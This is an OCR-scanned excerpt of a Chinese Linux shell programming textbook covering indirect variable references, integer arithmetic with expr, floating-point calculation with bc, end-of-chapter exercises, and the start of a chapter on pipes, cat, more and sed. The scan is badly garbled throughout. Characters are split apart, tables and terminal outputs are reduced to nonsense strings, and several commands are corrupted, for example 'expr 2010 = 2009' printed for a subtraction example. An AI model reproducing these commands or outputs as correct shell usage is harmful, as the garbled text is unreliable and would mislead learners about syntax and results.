name 变量 值 为 S02 name、dept 变量 值 为 S02_dept、phone 变量 值 为 S02_ phone、rank 变量 值 



































为 S02 rank，indirectappl.sh 脚本 通过 间接 引用 变量 name、dept、phone 和 rank， 分别 得 到 


Zhang Ju、English、025-83466524 和 8。 


间接 变量 引用 使 得 Shell 编程 实现 了 类 似 于 高 级 程序 语言 中 指针 的 功能 ， 在 很 多 场合 能 够 精 











从 另 一 个 角度 理解 ， 在 间接 变量 引用 中 ， 第 一 个 变量 中 存放 的 是 最 终 值 的 地 址 ， 因 此 ， 















































简 Shell 脚本 。 





55 ee 人 











在 编写 程序 的 过 程 中 经 常会 涉及 数学 运算 ， 而 9.3 节 指出 bash Shell 7 “有 整 型 和 字符 


























4， 没 有 浮 点 型 。 那 么 ， 在 Shell 脚本 编程 中 如 何 实现 浮 点 型 运算 呢 ? 本 节 将 要 解决 这 一 问题 。 

















9.5.1 expr 命令 








玖 








expr 命令 对 于 读者 来 说 已 经 不 陌生 , 它 在 整 型 数 运算 和 字符 串 处 理 中 都 曾经 出 现 过 ， 尽 
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如 此 ， 我 们 依然 有 必要 总 结 一 下 expr 命令 的 用 法 ， 表 9-3 列 出 了 expr 操作 符 的 名 称 及 其 意义 。 


表 9-3 expr 命令 的 操作 符 及 其 意义 











x 且 非 零 时 ， 返 回 ARG1; 否则 返 



































1 不 为 空 且 非 零 时 ， 返 回 ARG1; 否则 返 




















“ARG2 时 ， 返 回 1;， 否则 返回 0 











-等 于 ARG2 时 ， 返 回 1; 否则 i 
































等 于 ARG2 时 ， 返 回 1; 和 否则 返 











等 于 ARG2 时 ， 返 世 


























-等 于 ARG2 时 ， 返 区 












































于 ARG2 时 ， 返 回 1; 否则 返 

















上 ARG2 之 和 

















用 
和 ARG2 之 差 
科 





0 ARG2 之 积 











除 以 ARG2 的 商 数 
除 以 ARG2 的 余数 















































当 expr 命令 的 操作 符 是 普通 字符 时 , 根据 表 9-3 中 的 格式 进行 运算 就 能 得 出 结果 。 但 是 ， 
当 expr 命令 的 操作 符 是 元 字符 ， 即 该 操作 符 还 有 其 他 含义 时 ,需要 用 转 义 符 将 操作 符 的 特殊 
含义 屏蔽 ， 方 能 使 expr 成 功 地 执行 数学 运算 ， 下 面 的 例 9-35 演示 了 expr 操作 符 是 元 字符 的 
情况 。 
































例 9-35: 演示 expr 操作 符 是 元 字符 

第 1 条 命令 : * 字 符 是 元 字符 ， 不 用 转 义 符 屏 蔽 * 的 特殊 含义 将 报 语法 错误 
root@JjJselab shell=book expr2010°* 2 

expr: 语法 错误 
第 2 条 命令 











root@jselab shell-book expre20100 2 
4020 
root@jselab shell-book 
网 9-35 中 ，expr 操作 符 是 * 符 号 ， 由 于 * 学 符 是 元 字符 ， 第 1 条 命令 不 用 转 义 符 屏 蔽 * 的 
特殊 含义 时 ，Shell 报 语法 错误 ;第 2 条 命令 在 * 字 符 前 加 上 转 义 符 ， 成 功 地 得 到 运算 结果 。 
需要 提醒 读者 注意 的 一 点 是 ，expr 操作 符 两 端 必 须 有 空格 ， 否 则 将 不 执行 数学 运算 。 请 
看 下 面 的 例 9-36。 

例 9-36: exp 操作 符 两 端 必须 有 空格 

第 1 条 命令 ，- 号 两 端 无 空格 时 ， 没 有 执行 数学 运算 

root@jselab shell-book]# expr 2010-2009 

20M0 2008 
第 2 条 命令 -号 两 端 加 上 空格 ， 得 到 运算 结果 
root@jselab shell book]# expr 2010 = 2009 
























































地 

















root@jselab shell-book]# 


网 9-36 的 第 1 条 命令 :“-” 号 两 端 无 空格 时 ， 没 有 执行 数学 运算 ， 第 2 条 命令 在 “-” 号 
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两 端 加 上 空格 ， 得 到 运算 结果 。 
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9.5.2 ”bc 运算 器 
bc 是 一 种 内 建 的 运算 器 ， 是 bash Shell 中 最 常用 的 浮 点 数 运算 工具 ，bc 能 包含 下 面 的 一 
e@ 。 整 型 数 和 浮 点 数 。 


















































@ 简单 变量 和 数组 变量 。 

@  C 语言 风格 的 注释 (/*...*/ 格 式 )。 

。 直达 式 。 

@ 复杂 程序 结构 ， 如 下 then 结构 等 。 

@ 函数 。 

首先 ， 举 一 个 简单 的 例子 说 明 bc 在 命令 行 中 的 用 法 ， 如 下 面 的 例 9-37 所 示 。 
# 例 9-37: 演示 bc 在 命令 行 中 的 用 法 

[root@jselab shell-book]# bc # 输 入 bc 命令 ， 启 动 bc 运算 器 

bes 06 


Copyelionem hl 4 Eee ere Eoundabion line 

This is free software with ABSOLUTELY NO WARRANTY. 

For details type ‘warranty'. 

# 以 上 是 pc 版 本 信息 ， 从 下 面 开 始 输入 运算 表达 式 

加 本 | 性 

2 

r=3 

S11 

2 2 

全 人 

a 

GUO 

[root@jselab shell-book]# 

例 9-37 首先 输入 bc 命令 ,启动 be 运算 器 , Shell 上 显示 bc 版 本 信息 ,bash 4.0 的 是 bc 1.06 
版 本 。 在 版 本 信息 下 方 ， 可 以 输入 运算 表达 式 ， 例 9-37 计算 一 个 半径 为 3 的 圆 面积 ， 输 入 
“3.1415 * 3 * 3 /*Compute the area of a circle*/”,“/**/” 内 是 注释 , bc 返回 浮 点 数 结果 28.2735; 
接着 ， 例 9-37 又 以 变量 的 方式 计算 圆 面积 ， 将 + 变量 赋 为 3， 可 以 调用 上 进行 计算 ， 最后， 
输入 “quit” 命 令 可 以 退出 bc 运算 器 。 

bc 运算 器 支持 的 数学 运算 符号 如 表 9-4 所 示 。 


表 9-4 bc 运算 器 的 操作 符 及 其 意义 















































































































































ARG1 和 ARG2 之 和 








回 ARG1 和 ARG2 之 差 











ARG1 和 ARG2 之 积 
ARG1 除 以 ARG2 的 商 数 〈 按 scale 变量 设 定 结果 的 小 数位 数 ) 
回 ARG1 除 以 ARG2 的 余数 
































ARG1 的 ARG2 次 方 ， 指 数 运算 
操作 
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bc 运算 器 定义 了 内 建 变量 scale 用 于 设 定 除法 运算 的 精度 ， 默 认 情 况 下 ，scale 变量 等 于 


0， 因 而 ， 除 法 运算 的 结果 将 
例 9-38: 演示 bc 运算 器 scale 变量 的 作用 


点 后 
加 简 














root@jselab shell-book 
S97 (3 4) 


scale=4 

S93 4 

3 esl 

UE 

root@jselab shell-book] 


[ee 

















洁 。 








自动 取 整 。 


例 9-38 未 设置 scale 之 前 ， 除 法 运算 结果 
保留 4 位 。bc 命令 后 加 上 -q 选项 ， 使 得 bc 运算 器 不 输出 版 本 信息 ， 这 使 得 bc 运算 器 更 




















# bc -q 


# 

















下 面 的 例 9-38 演示 了 scale 变量 的 作用 : 





#-q 选项 使 得 bc 运算 器 不 输出 版 本 信息 





# 未 设置 scale 之 前 ， 除 法 运算 结果 自动 取 整 
# 将 scale 设 为 4 














# 除 法 结果 小 数 点 后 保留 4 位 

















日 动 取 整 ， 当 将 scale 设 为 4 后， 除法 结果 小 数 


























例 9-37 和 例 9-38 解释 清楚 了 如 何在 命令 行 中 使 用 bc 运算 器 ,实际 上 ,我 们 经 党 需要 在 Shell 





脚本 




















中 进行 浮 点 数 运算 ， 那 么 如 何在 脚本 











使 用 bc 运算 器 呢 ? 泣 运 的 是 ， 命 令 蔡 换 可 以 帮助 我 














们 方便 地 将 bc 运算 器 的 结果 赋 给 一 个 Shell 变量 ， 在 脚本 中 调用 bc 运算 器 的 一 般 格 式 为 : 








Variable= echo "options; 





上 述 命令 中 ，rvariable 是 变量 名 ，echo 命令 后 options 部 分 一 般 用 于 设置 scale 变量 ， 





expression™ | 





en 





expression 是 数学 运算 表达 式 ，echo 的 结果 通过 管道 符 传 输 给 bc 命令 ， 这 样 就 将 expression 
果 赋 给 了 variable 变量 。 下 面 的 例 9-39 说 明 Shell 脚本 调用 bc 运算 器 ， 新 建 calare.sh 脚 


的 结 
本 ， 


恋 量 


设 为 








内 容 如 下 : 





# 例 9-39: calare.sh 脚本 用 bc 运算 嚣 计算 圆 面积 


#!/bin/bash 


varl=20 
var2=3.14159 


区 

















全 2 


Var4= `echo "scale=5;$var3 *$var2" | bc 


echo “The area of this cirele is:$var4" 


例 9-39 的 calare.sh 脚本 用 bc 运算 器 计算 
的 平方 ， 赋 给 var3; 接着 ,将 var3 和 var2 相 乘 得 出 圆 面积 :calare.sh 脚本 将 scale 变量 
5， 即 输出 结果 的 小 数 点 后 精确 到 第 5 位。 下面 给 出 calare.sh 脚本 的 执行 结果 : 

例 9-39: calare.sh 脚本 的 执行 结果 


chmod ut+x calare.sh 











root@jselab shell-book] 
root@jselab shell-book] 
Tne varseeorttnnieeluele 
root@jselab shell-book] 























# 计 算 半 径 的 平方 
# 计 算 圆 面积 

















出 面积 ， 首 先 利用 be 的 指数 运算 ， 计 算出 varl 























山 | 























./calare.sh 
5656S60U 


# 结 果 的 小 数 点 后 精确 到 第 5 位 




















calare.sh 脚本 确实 实现 了 浮 点 数 运算 ， 输 出 结果 的 小 数 点 后 精确 到 第 5 位 。 由 此 可 见 ， 
将 bc 运算 器 和 命令 蔡 换 结合 可 以 方便 地 实现 脚本 的 复杂 数学 运算 。 
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在 第 6 章 的 基础 上 ， 本 章 探 讨 了 Linux Shell 变量 的 高 级 用 法 。 首 先 ， 在 第 6 章 介绍 的 几 
个 简单 环境 变量 的 基础 上 上， 本章 全 面 介绍 了 bash Shell 中 的 内 部 变量 及 其 应 用 ; 其次， 本 章 
介绍 Shell 处 理 字 符 串 的 命令 和 方法 , 它 与 awk 编程 一 起 构成 了 Shell 编程 中 字符 串 处 理 的 全 
部 方法 ; 再 次 ， 本 章 介 绍 declare 和 typeset 命令 ， 它 们 将 原本 无 类 型 的 Shell 变量 声明 为 特定 
类 型 ， 本 章 还 讨论 了 间接 变量 引用 的 方法 及 其 应 用 ; 最 后 ， 本 章 总 结 了 bash 进行 数学 运算 的 
方法 ， 整 型 数 运算 可 以 用 expr 命令 ,但 是 ， 浮 点 运算 等 复杂 运算 需要 使 用 bc 运算 器 。 


上 机 提议 站 


1. 连续 执行 以 下 命令 ， 给 出 目录 栈 中 元 素 入 栈 和 出 栈 的 序列 ， 在 每 条 命令 后 查看 
DIRSTACK 的 值 。 

pushnad /ete 

pus ys eont 

popd 

pushd /usr/share 

popd 

popd 

2. 利用 grep 命令 查找 某 目录 下 所 有 以 b 开头 的 文件 中 的 “#” 和 字符 ， 但 是 ， 如 果 这 些 b 
开头 的 文件 以 .sh 结尾 ， 则 忽略 对 其 进行 查找 。( 提 示 : 结合 使 用 GLOBIGNORE 变量 实现 ) 

3. 将 9.1 节 中 selectreply.sh 脚本 的 break 关键 字 去 掉 ， 观 察 执行 该 脚本 后 将 出 现 什么 情 
况 。 然后， 将 selectreply.sh 脚本 中 select 命令 后 的 var 去 挥 ,观察 执行 该 脚本 后 又 将 出 现 什么 
情况 。 
4. 挑选 1 一 3 个 Shell 选项 ， 分 别 用 选项 名 及 其 简写 开关 该 选项 ， 并 查看 SHELLOPTS 
的 值 。 
5. 定义 变量 string="Rolling lessons learned from Hadoop into an open source Hadoop 
successor"， 分 别 实现 以 下 操作 ; (1) 打印 string 的 长 度 ; (2) 给 出 Hadoop 在 string 中 的 索引 ; 
(3) 将 第 1 个 Hadoop 和 蔡 换 为 MapReduce; (4) 将 所 有 的 Hadoop 替换 为 MapReduce。 

6. 用 typeset 命令 定义 integervar 为 环境 变量 ， 并 赋值 为 1101， 然 后 将 integervar 执行 加 
法 操作 ， 并 打印 结果 。 

7. 执行 下 面 的 脚本 ， 比 较 resultl 和 result2 的 值 ， 体 会 typeset 命令 的 作用 。 


#!/bin/bash 
varl=12 


















































































































































































































































































































































Var2=5 
resultl=vall*var2 
echo "resultl=$resultl™ 


typeset -i var3=15 var4=8 
typeset result2=var3*var4 
echo "result2=—$result2 


8. 定义 variablel=911、variable2=1101, 使 用 三 种 方法 实现 variablel*variable2 操作 。( 提 
示 : 三 种 方法 为 declare 或 typeset 将 variablel 和 variable2 声明 为 整 型 、let 命令 、 用 双 圆 括号 
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万 ~ 
TE ET 
b=1 
eene seenon eRvee eeno RS 


((c = a<4?9:11)) 

ES 本 = 

10. 执行 下 面 的 脚本 ， 验 证 间接 变量 引用 的 方法 。 
Si 

t=cell 

var=9999 

Cell=$var 

tempvar=\ $$t 


























EC 
echo "tempvar=$tempvar" 
Eeeairsee ee 








11. 使 用 REPLY 改写 9.4 节 的 indirectappl.sh 脚本 ,并 执行 之 , 巩固 select 命令 、REPLY 


变量 、PS3 变量 和 间接 变量 引用 等 知识 。 




















12. 脚本 中 调用 bc 运算 器 还 可 以 使 用 <<delimiter 的 方法 ， 格 式 如 下 : 


variable= bc << EOF 
options 

expresstons 

EOES 
































请 用 这 种 方法 改写 例 9-39 的 calare.sh 脚本 ， 实 现 圆 面 积 的 计算 。 

















IO 重 定向 是 Shell 编程 中 的 一 个 重要 议题 ， 用 于 捕捉 























命令 、 程 序 或 脚本 ， 甚 至 代码 块 的 输出 ， 然 后 把 捕捉 到 的 输出 作为 输 
入 发 送 给 另外 一 个 文件 、 命 令 、 程 序 或 脚本 等 。 本 章 首先 介绍 IO 重 





























定向 最 常用 的 方法 : 管道 ， 并 结合 sed 和 awk 等 命令 说 
里 次、 介绍 














名 立 件 黄 重 定 | 和 向， 内 容 》 

















1 ~ 下 














命令 和 代码 块 重 定向 等 。 在 此 基础 上 





AAA 
v 


明 管 道 的 用 法 ; 





个 文件 、 


10 
草 








A 


EE 汉江 加 


引 了 夺 眶 OW 








Ms 











| 人， _ 人 于 消 还 
因 荐 介绍 Shell 如 何 对 一 个 命令 行进 行 处 
列 介 














日 介绍 Shell 处 理 命令 行 的 流程 ， 其 次 ， 举 
人 证 JJI 信人、 ol 全 人 
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101 可， 人 


管道 是 Linux 编程 中 最 常用 的 技术 之 一 ， 管 道 符 “|” 在 前 面 章节 曾经 出 现 过 ， 本 节 将 认 
细 介 绍 管道 技术 的 概念 、 用 法 、 与 其 他 命令 的 结合 使 用 等 内 容 。 
10.1.1 管道 简介 
管道 技术 是 Linux 的 一 种 基本 的 进程 间 通 信 技 术 ， 它 利用 先进 先 出 《First In First Out， 
FIFO) 排队 模型 来 指挥 进程 间 的 通信 。 对 于 管道 ， 我 们 可 以 形象 地 把 它们 当做 是 连接 两 个 实 
体 的 一 个 单 回 连接 器 。 
Linux 管道 可 用 于 应 用 程序 之 间 、Linux 命令 之 间 ， 以 及 应 用 程序 和 Linux 命令 之 间 的 通 
信 ，Shell 编程 主要 是 利用 管道 进行 Linux 命令 之 间 的 通信 ， 本 章 介 绍 的 重点 也 就 聚焦 于 此 。 
Shell 编程 中 管道 符号 是 竖 杠 符号 “|” 命令 之 间 利 用 管道 进行 通信 的 一 般 格 式 为 : 
Sommancd eommanaa eemmanasl lemma 
command1 到 commandn 表示 Linux 的 n 个 命令 ,这 mn 个 命令 利用 管道 进行 通信 。command1l 
执行 完 后 ， 如 果 没 有 管道 ，commandl 的 输出 结果 将 直接 显示 在 Shell 上 ， 当 Shell 过 到 管道 
符 “|” 后 ， 就 将 commandl 的 输出 发 送 给 command2， 作 为 command2 的 输入 。 
网 10-1 演示 了 管道 的 基本 用 法 , 例 中 命令 的 功能 是 列 出 /ete 目录 的 文件 列表 ,在 文件 列表 
中 用 grep 命令 查找 与 字符 串 vi 匹配 的 行 * 从 结果 可 以 看 到 ， 列 出 的 文件 中 都 包含 vi 字符 串 。 
例 10-1: 演示 管道 的 基本 用 法 


root@jselab ~]# cd /etc 
root@jselab etc]# ls -1 











1 







































































































































































































































































































































































































































































grep vi  # 列 出 /etc 目录 的 文件 列表 ， 并 在 其 中 查找 与 vi 匹配 的 行 








EW 0 2009-04-10 environment 

lrwxrWwxrWx. 1] YOOt FOOt S62000 00004 taviconmn > /us /shane /eon leo 
16x16/apps/fedora-logo-icon.png 

es 

EE GE S2000m 0 0M en on: 

= EES lL oa FooEc S2902008 0 0 imee 

EEE, QL oo Loo S62902008=05=050 ve 


[root@jselab etc]# 
管道 也 可 用 于 多 个 命令 进行 通信 , 例 10-2 演示 了 三 个 命令 使 用 管道 进行 通信 ,第 2 个 管 
道 符 将 例 10-1 结果 的 发 送 给 wc -1 命令 ，wc -1 命令 统计 结果 的 行 数 。 例 10-1 中 与 vi 匹配 的 
行 有 6 行 ， 因 此 ， 例 10-2 的 结果 为 6。 
例 10-2: 三 个 命令 用 管道 进行 通信 
列 出 /etc 目录 的 文件 列表 ， 并 在 其 中 查找 与 vi 匹配 的 行 ， 最 后 对 行 计数 
nooeQselabe else ee ve 
































































































































6 
root@jselab etc]# 


列 10-2 中 命令 的 执行 过 程 可 以 用 图 10-1 来 描述 。 

如 图 10-1 所 示 , ls -1| grep vi | wc -1 命令 实际 上 就 是 在 三 个 命令 之 间 建 立 了 两 根 管 道 , 第 
一 个 命令 ls -1 执行 后 产生 的 输出 作为 第 二 个 命令 grep vi 的 输入 , 第 二 个 命令 在 管道 输入 下 执 
行 后 产生 的 输出 又 作为 第 三 个 命令 wc -1 的 输入 ， 最 后 ， 第 三 个 命令 we -1 在 管道 输入 下 执行 
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令 ， 并 将 产生 的 结果 输出 到 Shell， 图 10-1 清晰 地 表示 出 了 三 条 命令 之 间 的 传输 内 容 。 显 
然 ， 这 是 一 个 半 双 工 通 信 ， 因 为 通信 是 单 向 的 ， 两 个 命令 之 间 连 接 的 具体 工作 是 由 Linux 内 




































































, . yy /Jetc 目 录 下 的 所 有 ee /etc 目 录 下 与 Vi 号 在 管道 输入 下 执行 命令 : 
在/ete 目 人 人 文件 列 表 在 入 浊 输 入 下 执行 命令 : 配 的 文件 列表 we-l 
3 一 一 SB 并 将 结果 输出 到 Shell 






































10-1 Linux 命令 的 管道 通信 示意 图 


10.1.2 cat 和 more 命 合 
cat 和 more 命令 都 用 来 显示 文件 的 内 容 ， 它 们 的 基本 格式 也 比较 类 似 ， 如 下 所 示 : 


cat [option] fileName 





more [option| [+linenum] fileNames 

上 述 两 条 命令 中 option 都 指 选项 , cat 命令 选项 如 表 10-1 所 示 ; more 命令 的 选项 如 表 10-2 
所 示 ; fileName 都 指 文 件 名 ; more 命令 中 +linenum 可 以 指定 显示 文件 的 起 始 行 , 即 从 linenum 
这 一 行 开始 显 示 整 个 文件 。 


表 10-1 cat 命令 的 选项 名 称 及 其 意义 









































显示 文件 的 所 有 内 容 

1 开始 对 所 有 输出 的 行 数 编号 ， 但 对 空白 行 不 编号 

每 一 行 末 显 示 “$” 

1 开始 对 所 有 输出 的 行 数 编号 

当 遇 到 有 连续 两 行 以 上 的 空白 行 ， 就 替换 为 一 行 空白 行 

不 可 显示 的 字符 《 制 表 符 、 新 行 符 和 换 页 符 除外 ) 以 可 见 的 形式 显示 















































表 10-2 more 命令 的 选项 名 称 及 其 意义 





显示 的 行 数 


示 使 用 者 ， 在 画面 下 方 显示 “Press space to continue, q to quit.”， 如 果 使 用 者 按 错 键 ， 则 


显示 “Press h for instructions.” 
取消 遇见 特殊 字 元 外 ( 送 纸 字 元 时 会 暂停 的 功能 


计算 行 数 时 ， 以 实际 的 行 数 ， 而 非 自动 换行 过 后 的 行 数 (有 些 单行 字数 太 长 的 会 被 扩展 为 两 
行 或 两 行 以 上 ) 


不 以 卷 动 的 方式 显示 每 一 页 ， 而 是 先 清除 屏幕 后 再 显示 内 容 
跟 -p 相似 ， 不 同 的 是 先 显 示 内 容 ， 再 清除 其 他 旧 
当 遇 到 有 连续 两 行 以 上 的 空白 行 ， 就 替换 为 一 行 的 空白 行 
禁止 显示 强调 符 ， 即 不 显示 下 画 线 〈 根 据 环境 变量 TERM 指定 的 terminal 而 有 所 不 同 ) 
在 每 个 文件 显示 前 搜寻 该 字 串 (pattern) ， 然 后 从 该 字 串 之 


从 第 num 行 开 始 显示 

















































































































































































































nu 华 清 远见 教育 集团 官网 :www, hayj. com 
.COM 


《Linux Shell 编程 从 初学 到 精通 》 

















两 个 命令 最 大 的 区 别 在 于 : 
超过 一 页 的 文件 时 提供 了 分 页 功能 。 














下 面 举 一 个 例子 来 说 明 分 页 功能 所 产生 的 作 月 














cat 命令 在 显示 文件 时 不 提供 分 页 功能 ， 而 more 命令 在 显示 


日 ， 图 10-2 











使 用 more 命令 显示 /etc/vimrc 文件 ， 输 入 命令 后 产生 如 图 
/etc/vimrc 文件 的 全 部 内 容 ， 而 只 显示 一 


















































10-2 所 示 的 效果 ， 图 中 没有 显示 
页 内 容 ， 实 际 上 是 一 屏 内 容 ， 屏 幕 大 时 ， 则 显示 的 内 






































浏览 该 文件 的 剩余 内 容 。 





六 1:210:28,82.198 - Yitual NJUE - 55H Secure Shell [Eo x | 
Ee Eh ven Window top 

日 名 访 | 朋 曙 有 自己 的 汪 下 乱 螂 9| 

EE rries 











用 more 命 令 显示 
/etc/vimre 文 件 时 ， 只 出 
现 一 页 ， 按 回 车 键 继续 
显示 下 一 页 内 容 








10-2 ”用 more 命令 产 生 的 分 页 效果 














当 我 们 用 cat 命令 显示 /etc/vimrc 文件 时 ， 出 现 如 图 10-3 所 示 的 效果 ， 图 中 一 次 性 全 














屏 的 内 容 。 





示 该 文件 的 内 容 ， 用 户 看 到 的 仅 是 该 文件 最 后 














癌 1:210.26.62.199 -Yrtual NJUE 565H Secure Shall 
Ee El ew window pp 


圆号 应 | 轩 曙 | 罗 贸 局 | 的 | 巩 四 和 从 肌 








* get directory=~/tmpr/ var/tup, (tmp 





用 cat 命 令 显 示 /etc/vimre 
文件 时 ， 不 分 页 ， 一 次 
性 全 部 显示 该 文件 









































很 多 Shell 都 未 曾 安 装 该 命令 ， 











容 多 ， 最 后 一 行 提 示 --More(71%)--， 表 示 已 经 显示 了 该 文件 内 容 的 71%， 用 户 可 以 按 回 车 键 


令 , 但 是 , pg 命令 是 Linux 扩展 命令 ， 
more 命令 是 Linux 核心 命令 ， 任 何 Shell 都 可 以 使 用 该 命令 。 

















LK 
Sl 









































用 more 命令 显示 文件 显然 便于 用 户 阅 读 ， 尤 其 是 对 那些 一 页 不 够 显示 的 结果 。 利 用 管 
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道 功能 ， 我 们 就 可 以 方便 地 将 多 页 的 结果 进行 分 页 显示 ， 比 如 ，/etc 目录 下 有 很 多 文件 ， 列 





出 这 些 文件 时 ， 需 要 多 页 显示 ， 我 们 可 以 将 ls 的 结果 通过 管道 传 给 more 命令 ，more 命令 将 
多 页 结果 进行 分 页 显示 ， 便 于 用 户 查看 。 例 10-3 演示 了 用 分 页 效果 查看 /ete 目录 下 的 文件 : 

# 例 10-3: ls -1 | more 命令 的 执行 结 

[root@jselab etc]# ls -1 | more 

总 计 2412 # 结 果 共 有 2412 个 

四 下 We 二 = 站 RE 4096 2009-09-04 acpi 

= 二 二 = Booeg oo 44 2009-09-11 adjtime 

-= Ca Pod 52 200802=10 alriases 

EW 3 rootesmmsepn 12288 200900=04=iosese qe 

四 WO Aaa 2000=08=0. alsa 

Gwe Xo A4096%2009—09-040aUEernatives 

SE ES 让 sA2000 04 Tanaeroneas 

0 | made PadE 2M5 2000 02 -2antn eonsf 

EW GO E4802008= 09- 上 00aseuno eontf 

Ee | Td. ea SA2se 2000 0 Baseounstate 

=EW=—===—= Eee oo e2009=02-22000 deny 

==. 3 oor fooE 40962000 :00 040 nese 

四 WE 二 二 

--More-- # 按 回 车 键 查看 下 一 页 的 结果 

cat 命令 还 可 以 同时 显示 多 个 文件 ， 命 令 格 式 如 下 : 

cate fe Ee ES en 

该 命令 将 逐个 显示 从 filel 到 filen 的 文件 内 容 ， 在 此 处 ,我 们 可 能 看 不 出 该 命令 的 作用 ， 
但 是 一 旦 与 文件 重 定向 结合 ， 就 可 以 将 多 个 文件 合并 为 二 个 文件 。 

cat 命令 还 有 一 个 很 重要 的 选项 : -vy 选项 ， 它 可 以 显示 文件 中 的 控制 字符 ， 例 10-4 演示 


了 -v 选项 的 用 法 。 


制 字 符 在 内 的 所 有 字符 ， 
字符 ， 表 示 “CtlHM” 组 合 键 。 




















# 例 10-4: 演示 cat 命令 -v 选项 的 用 法 

# 显 示 msdfmap .ini 包括 控制 字符 在 内 的 所 有 字符 

eeteele 让 证 es 二 全 = 和 Te Ga 人 ET 

Wemoontyatnenescnnectonm ERADECConneSCE= ame MM 





; [connect name] 
7; [connect default] will modify the connection if name is not found^M 
lsgqlnaemelwilimoarty tne srr AD sql "namel(args)y MM 

sceletanmbel 


ROverride strinogse. 


WETiOaieE Ene sel aane smnote ome mM 
Sqgus MM 
Oommen st ng up earameterssan > MM 


Connect, UserId, Password, 





Rolieseovermilen str tn mst no sou or enevy arc ionmorese M 


scentey must extstoin esaense seet lion or tne seetreone oneorea mM 


PAnAceeses centry mst extst ineacneonneet sectuonorthe seetuon rs ranormed MM 


”Access=NOoAccess^M 
.… # 每 行 结束 时 的 ^M 是 控制 字符 ， 表 示 Ctr1l+M 
在 例 10-4 中 ， 









































10.1.3 sed 命 合 与 管道 


第 4 章 所 介绍 的 sed 和 awk 命令 都 是 从 文件 读 取 输 入 数据 ， 事 实 上 ， 
支持 从 管道 获得 输入 数据 , sed 和 awk 命令 与 管道 结合 的 用 法 也 是 Shell 编程 中 的 
化 清 逃 施 华 清 远见 教 育 集团 官 


























j cat -v 显示 msdftmap.ini 文件 ， 就 能 够 显示 出 msdfmap.ini 文 从 
从 例 中 结果 可 以 看 出 ，msdfmap.ini 文件 每 行 结束 时 的 ^M 就 是 控制 
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面 ， 本 节 通 过 一 组 例子 介绍 sed 命令 与 管道 结合 的 用 法 。 
我 们 知道 ，sed 命令 的 标准 格式 是 : 
sed [选项 ] 'sed 命令 ' 输入 文件 
在 上 述 格式 中 ，sed 是 对 输入 文件 进行 处 理 ， 当 sed 从 管道 读 取 输 入 数据 时 ， 命 令 中 就 没 
必要 出 现 输入 文件 了 ，sed 命令 的 格式 就 变 为 : 
sed [选项 "Seqd 从 令 ， 
sed 在 管道 符 “|” 之 后 出 现 ， 表 示 sed 命令 对 管道 输入 的 数据 进行 处 理 。 例 10-5 演示 了 
sed 用 于 人 处理 Shell 命令 的 输出 ， 例 中 命令 利用 sed 处 理 ls -1 命令 的 输出 结果 ， 即 ls -1 命令 的 
输出 结果 通过 管道 传 给 sed 命令 作为 输入 ，sed -n '1,5p' 表 示 打 印 ls -1 命令 结果 的 第 1 一 5 行 。 
# 例 10-5: 用 sed 处 理 1s -1 命令 的 结果 
# 打 印 1s -1 命令 结果 的 第 1~5 行 
LeeeEomselab eeelt ns se nn oe 
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EWE = Xe ot oo a09Ga00 0 00 04 acen 
Ee 1 Te dE 44 .0.08 00mnes 

一 了 EEC T5292009=04-100 lases 

二 到 疝 三 让 = 三 三 三 二 oe me 22200 0 0 te 


[root@jselab etc]# 

利用 管道 符 同 样 可 以 对 文件 用 sed 命令 进行 编辑 ， 请 看 下 面 的 例 10-6， 例 中 第 1 条 命令 
先 用 cat 显示 /etc/passwd 文件 ， 通 过 管道 传 给 sed 命令 ， 实 际 上 ，sed 从 管道 接收 到 的 输入 数 
据 束 是 /etc/passwd 文件 的 全 部 内 容 ，sed 查找 并 打印 输入 数据 中 包含 root 关键 字 的 所 有 行 ， 
结果 显示 两 条 包含 root 的 行 。 第 2 条 命令 在 第 1 条 命令 的 基础 上 添加 一 个 管道 ， 对 第 1 条 命 
令 所 产生 的 结果 继续 用 sed 命令 处 理 ， 查 找 并 打印 第 1 条 命令 结果 中 包含 login 关键 字 的 行 ， 
结果 变 成 一 行 ， 该 行 既 包 售 root 关键 字 ， 又 包含 login 关键 字 。 
例 10-6: sed 和 cat 结合 对 文件 进行 处 理 
第 1 条 命令 : 显示 /etc/passwd 文件 中 与 root 的 匹配 行 


root@jselab etc]# cat passwd | sed -n '/root/p' 
eoel 0 0 en GA er 

































































































































































Operaeor .1 :000eracor: /noo /Sm oe 

第 2 条 命令 : 显示 /etc/passwd 文件 中 与 root 和 login 的 匹配 行 

ooteansela scol eae oasswea se mn eo/ se m/e/ 
operacor 0 operator noe sn /nl 

root@jselab etc]# 


由 例 10-6 可 以 看 出 ，sed 和 cat 命令 结合 同样 可 以 对 文件 进行 处 理 ， 例 10-6 中 的 第 1 条 
命令 等 价 于 下 面 的 命令 : 

sed sm ‘'/root/p' /etc/passwd 

另外 ， 例 10-6 中 的 第 2 条 命令 用 到 了 两 个 管道 ， 当 然 ， 
必要 ， 可 以 继续 添加 管道 ， 将 结果 传递 给 下 面 的 命令 。 

我 们 再 举 一 个 ssd、 管 道 和 变量 赋值 相 结合 的 例子 ， 如 下 面 的 例 10-7 所 示 ， 假 设 变量 
variable1="Yahoo develops MapReduce Framework"， 我 们 需要 将 varialbel 中 的 Yahoo 改 成 
Google， 并 赋 给 variable2， 即 variable2="Google develops MapReduce Framework"。 例 10-7 
利用 sed 和 管道 实现 变量 赋值 ， 首 先 ， 对 variablel 和 replace 变量 赋值 ， 例 10-7 中 最 重要 的 
命令 是 对 variable2 进行 赋值 的 命令 : variable2 是 一 个 命令 蔡 换 ， 即 variable2 是 反 引 号 () 


引起 命令 的 执行 结果 ， 反 引号 中 有 两 个 命令 ， 中 间 用 管道 符 相 连接 ，echo 打印 variablel 的 值 





























蔡 
[ee 





可 以 无 限 地 扩展 下 去 ， 如 有 
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作为 sed 命令 的 输入 ，sed 命令 s 表示 替换 ， 即 将 
$replace=Google， 这 样 ，variable2 的 值 就 变 成 了 “Google develops MapReduce Framework ”。 


root@jselab etc 
root@jselab etc 


root@jselab etc 
root@jselab etc 














root@jselab etc 


例 10-7 虽然 简单 ， 却 结合 了 命令 替换 、 
仔细 分 析 和 体会 例 10-7 中 每 一 条 语句 、 每 














例 10-7: sed 和 cat 结合 对 文件 进行 处 理 











字符 串 Yahoo 蔡 换 成 replace 变量 的 值 ， 而 


# variablel="Yahoo develops MapReduce Framework" 


# replace=Google 


variable2 值 是 命令 蔡 换 的 结果 ， 命 令 蔡 换 用 seqd 和 管道 结合 将 Yahoo 改 成 replace 变量 的 值 


站 


# echo $variable2 


# 





Google develops MapReduce Framework 


人 
户 
户 ! 


Ve 

